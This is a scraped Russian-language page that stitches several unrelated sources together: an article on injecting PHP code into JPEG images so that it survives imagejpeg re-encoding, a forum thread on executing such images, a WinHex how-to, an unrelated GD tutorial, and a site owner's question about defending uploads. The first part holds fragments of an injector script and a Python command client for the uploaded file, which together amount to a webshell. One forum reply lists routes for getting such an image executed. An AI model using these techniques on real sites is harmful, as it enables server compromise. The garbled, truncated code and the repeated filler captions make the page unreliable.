Код php в картинке

Сокрытие PHP-кода в изображениях

Некоторое время назад мне на глаза попалась тема на форуме, посвященная загрузке файлов средствами PHP. В том топике люди обсуждали меры, которые необходимо предпринять, чтобы обезопасить сервер от вредоносных файлов.

Некоторое время назад мне на глаза попалась тема на форуме, посвященная загрузке файлов средствами PHP. В том топике люди обсуждали меры, которые необходимо предпринять, чтобы обезопасить сервер от вредоносных файлов. В частности, предлагалось разрешить загрузку только определенных типов файлов, обрабатывать уже загруженные файлы и т. д.

В процессе той дискуссии были придуманы следующие меры безопасности: запретить загрузку файлов, относящихся к php-скриптам, а затем при помощи ImageJpeg (функция обработки изображений средствами PHP) провести верификацию загруженных изображений. Мне, как разработчику, этот комплекс мер вполне нравится. Если файл не соответствует графическому формату, функция ImageJpeg возвратит false, и загрузка отменится. С другой стороны, даже если злоумышленнику удастся внедрить код в изображение, картинка перед сохранением на диск также будет обработана и изменена функцией ImageJpeg.

Следующая идея – добавить код напрямую в изображение при помощи шестнадцатеричного редактора так, чтобы картинка выглядела «правильной» для функции ImageJpeg. Основная сложность в реализации этого метода была связана с описанными ранее причинами: после обработки изображения функцией ImageJpeg и записи файла на диск код был поврежден. Картинка практически всегда оказывалась корректной за исключением небольших искажений (по причине моего вмешательства).

После долгих экспериментов мне удалось получить обработанное изображение с работоспособным кодом внутри.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

В процессе улучшения метода инжекта кода, убедившись, что изображение искажается не сильно, я написал скрипт, который автоматически добавляет код в картинку. После отработки скрипта и обработки заряженного изображения различными утилитами (в том числе функцией ImageJpeg) код оставался работоспособен. Проводилось даже тестирование на изменение размера картинки, и во многих случаях код также работал (но не всегда).

Ниже показано изображение до инжекта кода:

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Следующее изображение (степень искажения зависит от конкретной картинки) уже с инжектированным кодом. Не беспокойтесь, в текущем состоянии код не выполнится.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Ниже представлен скрипт автоматизирующий процесс добавления кода:

ini_set(‘display_errors’, 0);
error_reporting(0);

//File that contains the finished result to be uploaded
$result_file = ‘pic.jpg.phtml’;

//Original input file
$orig = ‘test.jpg’;

//Code to be hidden in the image data
$code = »;

echo «-=Imagejpeg injector 1.6=-\n»;

echo «[+] Jumping to end byte\n»;
$start_byte = findStart($data);

sleep(1);
$src = imagecreatefromjpeg($result_file);

echo «[-] Unable to find valid injection point. Try a shorter command or another image\n»;

Подводим итоги. После нескольких дней экспериментов мне удалось обойти защиту скрипта и автоматизировать процесс (этапы работы скрипта показаны ниже):

[+] Jumping to end byte
[+] Searching for valid injection point
[+] Injection completed successfully
[+] Filename: result.phtml

И в завершении я написал простенький скрипт для пересылки команд файлу после загрузки на сервер, парсинга информации внутри изображения и отображение результатов.

import urllib.request
import argparse
import http.client
import urllib.parse
import re

def main():
parser = argparse.ArgumentParser()
parser.add_argument(«domain», help=»domain to connect to»)
parser.add_argument(«port», help=»port to connect to»)
parser.add_argument(«path», help=»path to the jellyshelly file»)
args = parser.parse_args()
domain = args.domain
path = args.path
port = args.port

def makeRequest(cmd, domain, port, path):
lines = cmd.split(‘\n’)

httpServ = http.client.HTTPConnection(domain, port)
httpServ.connect()

httpServ.request(‘POST’, path, params, headers)
response = httpServ.getresponse()
response_string = response.read().decode(«utf-8», «replace»)

if response.status == http.client.OK:
for result in re.findall(r'(?

Linux truesechp01 3.13.0-29-generic #53-Ubuntu SMP Wed Jun 4 21:00:20 UTC 2014 x86_64

Источник

Исполнить php скрипт смешанный с jpg

Добрый день. Как исполнить сабж? При том, что php вклеен в конец jpg. Слышал, что это реально. Может там надо поменять что-то в самом скрипте?

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Зачем и что ты хочешь сделать тут же подскажет отвечающим куда копать. Возможно даже тебе :>

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Надо, чтобы это выглядело как картинка, но могло интерпретироваться как php.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Может лучше сделать PHP скрипт, который после выполнения ставит mime-тип картинки и выбрасывает содержимое картинки в вывод. Ты точно не это хочешь?

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Нет. Только картинку заливать на хост можно.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

мсье хочет откулхацкерить файлообменник, выложив php-шелл в картинке?

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Нет. Там нет интерпретатора.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Что-то я не пойму, а кто исполнять то будет? PHP сам по себе для чего-то вызываться не будет.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Тьфу ты, на ФАЙЛООБМЕННИКе его нет. Туплю.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Тогда я вообще не понимаю, кто и зачем исполняет скрипт 🙂 Ты задумал что-то не то.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Мне незачем врать. Куллхацкерством не увлекаюсь.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Ну значит тот человек увлекается. Узнал с хакер.ру что можно в картинки код вставлять, теперь узнал что php может выполнять код из файлов. Вот сейчас и хочет придумать как выполнить код из картинки, залитой на файлообменник. Весело будет если файлообменник написан не на php.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Это не совсем тот человек, но вопрос такой же.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

just for test

Мне просто интересно, как так можно сделать, что бы уже знать «от чего плясать». Допустим у меня стоит обчный DLE/Joomla/NukePHP и я хочу туда сам же залить картинку. Как мне воспроизвести эту картинку, как PHP.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Если у файла расширение не входит в число интерпретируемых, то ничего не выйдет.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Сдурел. Если изменяется картинка, то изменяется содержимое этого файла и соотвтственно пропадает часть с пхп-кодом. Тем более превью.

Вот я беру и заливаю на обычный двиг картинку. Естественно делаю это через браузер. В картинке после кода картинки самого лежит воткнутый (возможно так, а может что-то другое подобное) и еще один пхп-код. Вопрос: как мне вызвать через адресную строку браузера этот код в картинке, а не саму ее.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

никак. Если не изменить настройки сервера, то твоя картинка не будет прогоняться через интерпретатор пхп, какие бы параметры ты не передавал. Тебе нужен доступ как минимум к htaccess

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

>Как исполнить сабж?

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

>Зачем и что ты хочешь сделать тут же подскажет отвечающим куда копать.

Дык, однозначно же. Человек хочет залить такой аттач на форум и проверить, не будет ли полученная картинка обрабатываться как скрипт. Детский такой взлом, которому достаточно многие сайты с самопальным аплоадом подвержены 🙂

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

>PHP-интерпретатор ставят только на файлы по расширению. Т.е. ставят правила на стороне http-сервера.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Деточка, выпей валерианочки.

Если изменяется картинка, то изменяется содержимое этого файла и соотвтственно пропадает часть с пхп-кодом. Тем более превью.

Деточка, твой моск не способен переварить что значит уязвимость и как ее обрабатывать? Ну так, со временем может ты поумнеешь.

Вопрос: как мне вызвать через адресную строку браузера этот код в картинке, а не саму ее.

Деточка, те уже рассказали, только найдя дырку в обработке изображения и используя ее закинуть свой код в то место где он может исполнится, кулькакер.

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

Лично я для обработки upload’а вобще обычно сохраняю без всякого расширения да вообще с именем файла который является ID в mysql, а имя файла сую в mysql. На такие тривиальные грабли маловерятно кто то сегодня наступит.

речь вообще помойму идёт о последующем локальном инклуде этого файла в бажный скрипт

дискуссия ниже уровня журнала х

Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке

О май вэй, дебилы на моём лоре 🙂

1) Бажная функция показа имаг (тупо кто-то инклудом имагу подрубает), в таком случае пихаешь код в конец gif или jpeg и на просмотре получаешь cmd

2) Бажная функция обработки имаг (пишешь свой код в открытую диру) затем опаешь как php

3) Бажная функция инклуда (если в имаге не порежут код (при загрузке)) загружаешь имаг с кодом как в п1, затем через бажный инклуд подрубаешь этот файл и снова юзаешь cmd 🙂

Всё же просто 🙂 Чего на 10 постов разводить

Источник

PHP код в картинке

В данной статье опишу способ скрыть PHP код в картинке.

Для начала нам нужна программа WinHex.

Программу можно скачать с официального сайта разработчика http://winhex.com.

Следующее, что нужно сделать, это открыть картинку данной программе и перейти в самый конец файла.
Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке
Последние два байта будут равны FF D9. Каждый файл JPEG заканчивается данным значениями.

Для общей информации можно обратить внимание, что все файлы изображений JPEG начинаются значениями FF D8. Далее существует еще много значений, сжатие файла, разновидность, образ упаковки и т.д.

Опускаемся в самый низ кода в байт FF D9. Далее копируем в буфер обмена свой PHP код. Возьмем для примера:
Далее вставляем его в редактор, и в окне подтверждения на операцию добавления выбираем ANSI-ASCII. Затем нужно в самом конце дописать последние байты FF D9, а эти же значения на старом месте заменяем нулями.
Код php в картинке. Смотреть фото Код php в картинке. Смотреть картинку Код php в картинке. Картинка про Код php в картинке. Фото Код php в картинке
Еще одно важное замечание, нужно, чтобы начальная картинка не имела в себе никакую встроенную в код выполняемую информацию. Это можно легко проверить, открыв изображение, например FarManager => F4 и в поиск (F7) ввести » 20 июня 2017 10:04

Источник

Создание изображений средствами PHP

Эта статья рассчитано на программистов со средним уровнем знания PHP.
Введение

PHP не только идеально подходит для вывода HTML страниц, но также включает в себя мощные средства создания изображений «на лету». Приведу лишь несколько примеров:

* Создание кнопок с надписями, текст которых хранится в базе данных
* Графическое отображение статистических данных
* Создание различных графиков и диаграмм

В этой статье рассматривается использование библиотеки GD для обработки изображений. GD является внешней библиотекой, доступной в виде модуля PHP

Цель этой статьи

В статье освещаются следующие вопросы:

* Что такое заголовки (headers)
* Использование функций библиотеки GD для динамического создания изображений средствами PHP
* Использование HTTP заголовков для указания браузеру, что вывод PHP-скрипта представляет собой изображение

Создание заголовка

По умолчанию, PHP выводит один заголовок: Content-type: text/html, означающий, что результатом работы скрипта является HTML код

Используемый по умолчанию заголовок Content-type: text/html показывает, что выводится HTML код, который браузер должен обработать. Если изменить его скажем на Content-type: text/plain, то браузер будет воспринимать документ просто как текст и выводить его «как есть» Для вывода заголовков в PHP используется функция header().

Конечно, послать заголовок недостаточно, нужно еще и позаботиться о том, чтобы вывести данные в нужном формате. Не следует думать, что, просто послав заголовок Content-type: application/zip и выведя «Всем привет», вы сможете открыть результат работы такого скрипта с помощью WinZip’а.

Примечание Web-сервер перед отправкой данных клиенту может добавлять и другие заголовки помимо Content-type, их рассмотрение выходит за рамки данной статьи.

Что нам потребуется

Создаем изображения

Генерация изображения состоит из трех основных этапов:

* Создание изображения
* Отрисовка изображения
* Вывод полученной картинки в браузер

Для создания изображения используется функция ImageCreate(). В качестве аргументов функция принимает ширину и высоту изображения в пикселах и возвращает идентификатор, который в дальнейшем используется при вызове функция для работы с изображением.

Перед тем, как что-либо рисовать, необходимо зарегистрировать цвета, которые вы собираетесь использовать. Для этого предназначена функция ImageColorAllocate(). Этой функции передаются идентификатор изображения и три числа, задающие цвет (RGB — red, green, blue). Функция возвращает идентификатор цвета, который используется в последующих операциях отрисовки изображения.
Пример:

Существует большое количество функций отрисовки изображений. Полное их рассмотрение выходит за рамки данной статьи. Для ознакомления с этими функциями, обратитесь к руководству по PHP.

Примечание Заголовки относятся ко всему документу. То есть если вы послали заголовок, показывающий, что вы выводите изображение, вы не можете выводить текст. А после того, как вы вывели первый байт данных, заголовок уже нельзя изменить! Это значит, что сначала нужно вызвать header() и только затем начинать вывод данных, иначе вы получите сообщение об ошибке. Если вы не посылаете заголовок Content-type, PHP автоматически посылает Content-type: text/html как только вы начинаете вывод данных.

Как это выглядит на практике

Практическое использование функций библиотеки GD мы рассмотрим на примере скрипта, строящего график биоритмов. По ходу изложения будем приводить выдержки из кода скрипта, который полностью приведен в конце статьи.

Теория биоритмов гласит, что эмоциональная, физическая и интеллектуальная активность каждого человека циклически изменяются с определенными интервалами. В момент рождения, все три кривые выходят из нулевой точки и изменяются в течение всей жизни. Если кривая проходит выше нулевой отметки — это активная фаза, ниже — пассивная. Момент пересечения нулевой отметки означает критический день: вы подвержены риску эмоциональной, физической или интеллектуальной «катастрофы». А в тот день, когда все три кривые проходят через ноль, лучше вообще воздержаться от работы над важными PHP проектами.

У каждой кривой собственный цикл:

* Физическая: 23 дня
* Эмоциональная: 28 дней
* Интеллектуальная: 33 дня

Кривые представляют собой синусоиды, поэтому для вычисления значений биоритмов мы можем воспользоваться встроенной функцией sin()

Установка даты рождения

Сначала мы должны получить дату рождения и вычислить, сколько дней человек прожил до текущей даты. Результат будет использован для вычисления текущей фазы биоритма.

* Проверяем, была ли введена дата рождения.
* Если нет, отображаем форму для ввода даты
* После проверки правильности ввода вычисляем сколько дней человек прожил до текущей даты используя юлианский календарь.

Совет Для вычисления мы используем юлианский календарь. Дата рождения и текущая дата переводятся в количество дней по юлианскому календарю. Разность этих двух чисел дает искомый результат.

Примечание В этом примере функция gregorianToJD() реализована на PHP (см. полный код скрипта ниже). Вообще-то, эта функция реализована в календарном модуле PHP, но на момент написания этой статьи эта функция работала некорректно в последней версии PHP. Поэтому была использована «самодельная» функция. Если в вашем PHP включена поддержка функций работы с календарем, вам нужно удалить определение этой функции из кода в примере.

Подготовка изображения

Порядок действий Подготовка к рисованию состоит из вызова нескольких функций GD. Следующий участок кода:

* Создает изображение нужных размеров.
* Регистрирует используемые цвета.
* Очищает изображения, заливая его цветом фона

Совет Перед началом отрисовки изображения залейте его цветом фона. Это гарантирует, что фон изображения будет того цвета, что вам нужен. Это также полезно для создания прозрачного фона, как будет показано далее.

Примечание Для простоты изложения, примеры в этой статье не содержат проверок ошибок. «Настоящий» скрипт обязательно должен включать проверки на ошибки

Рисуем рамку и выводим текст

Функция ImageString() рисует строку текста на изображении в заданном месте. Нам необходимо вывести пять строк Первые две будут находиться в верхней части рисунка и отображать дату рождения и текущую дату, остальные три под графиком будут показывать, каким цветом какой биоритм изображен. Использование идентификаторов цветов, записанных в переменные, позволяет ссылаться на цвета, не указывая каждый раз RGB значения.

* Рисуем рамку, внутри которой будет размещен график, и оси
* Выводим текст примечаний

Рисунок 1. График биоритмов

Рисуем кривые

* Функция drawRhythm вызывается три раза с различными параметрами
* Функция drawRhythm содержит цикл, который вычисляет значение биоритма для каждого дня, и рисует линии.

Совет Для получения более плавной кривой следовало бы при вычислениях использовать интервалы меньшие чем один день, однако для целей этой статьи полученного качества изображения вполне достаточно.

Вывод изображения клиенту

Итак, мы нарисовали наш график. Теперь остается отправить это изображение в браузер.

* Посылаем заголовок, показывающий что мы выводим изображение в формате GIF или PNG.
* Определяем чересстрочный формат вывода изображения.
* Делаем цвет фона прозрачным.
* Используя функцию imageGIF или imagePNG выводим изображение.

Совет После вызова imageGIF или imagePNG, изменения в изображение вносить уже нельзя, так как оно уже было отправлено клиенту.

Использование ImageInterlace() позволяет задать режим чересстрочного или прогрессивного вывода изображения (если используемый формат изображения позволяет это). Этот режим интересен тем, что позволяет браузеру начать отображение картинки еще до ее полной загрузки. Сначала выводится изображение с низким качеством, которое улучшается по мере загрузки данных. Это незаменимо при передаче больших изображений по низкоскоростным каналам.

Итак, мы написали программу, создающую изображение. Как ее использовать? На самом деле все очень просто: Вы можете использовать скрипт в HTML коде как обычный файл изображения. Поскольку скрипт в нашем примере является интерактивным, то для его использования нам нужно ввести http://my.server.net/script.php в адресную строку браузера. Для скрипта, не требующего пользовательского ввода, например получающего информацию из базы данных, просто вставьте в HTML код страницы тэг такого содержания:

Полный код скрипта

Заключение

В данной статье рассмотрены основы создания изображений в PHP с использованием функций графической библиотеки GD. На достаточно сложном примере показано, как можно создавать изображения на основе ввода пользователя. Взяв за основу этот пример, вы сможете создавать изображения для решения ваших конкретных задач.

Источник

Вредоносный код php в картинках или как обезопасить сайт

Здравствуйте друзья.
Начну с того, что очень серьезно отношусь к безопасности своего сайта, и прежде чем запустить его забочусь о том, что бы закрыть все популярные дыры способные навредить моему сайту, помимо sql инъекций есть дыры и с загрузкой картинки в которую может быть вшит вредоносный код php.
Понятно дело что я не буду спрашивать здесь как это все можно приготовить, иначе меня сочтут за хакера, я просто спрошу. Как проверить свой сайт на эту уязвимость?
Прежде чем в меня полетят тапки, я напишу, то что предпринял я и в чем мои сомнения поэтому поводу.
Дабы не плодить код, загрузку изображения я осуществляю по следующему сценарию:

Как это реализовать в коде, дело каждого, я уже реализовал и все работает, но есть одно, «НО«! Уже какой день делая загрузчик, я искал оптимальный и безопасный вариант и вроде бы как нашел и уже сделал, и был уверен что все хорошо, так как функция imagejpeg() как бы чистит картинку от PHP кода когда сжимает ее качество(так думал я), но как только я нарвался на эту статью, где человек смог все таки внедрить PHP код в картинку для проверки уязвимости, и картинка с кодом благополучно прошла через функцию imagejpeg(), я напрягся снова и задался вопросом.
Что делать? Как обезопасить себя от такой вредоносной картинки(там к сожалению об этом не написано)? Как проверить пропускает ли ваш код вредоносную картинку и где такую взять для тестов. Может кто знает? Надеюсь на вашу помощь.
Думаю тема безопасности сайтов очень многих волнует и эта тема не будет воспринята как мануал по созданию картинки с внедренным в нее вредоносным PHP кодом. Хотя несомненно такая картинка не помешала бы мне для того что бы попробовать, будет ли пропускать мой код ее или нет.

Помощь в написании контрольных, курсовых и дипломных работ здесь.

Источник

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *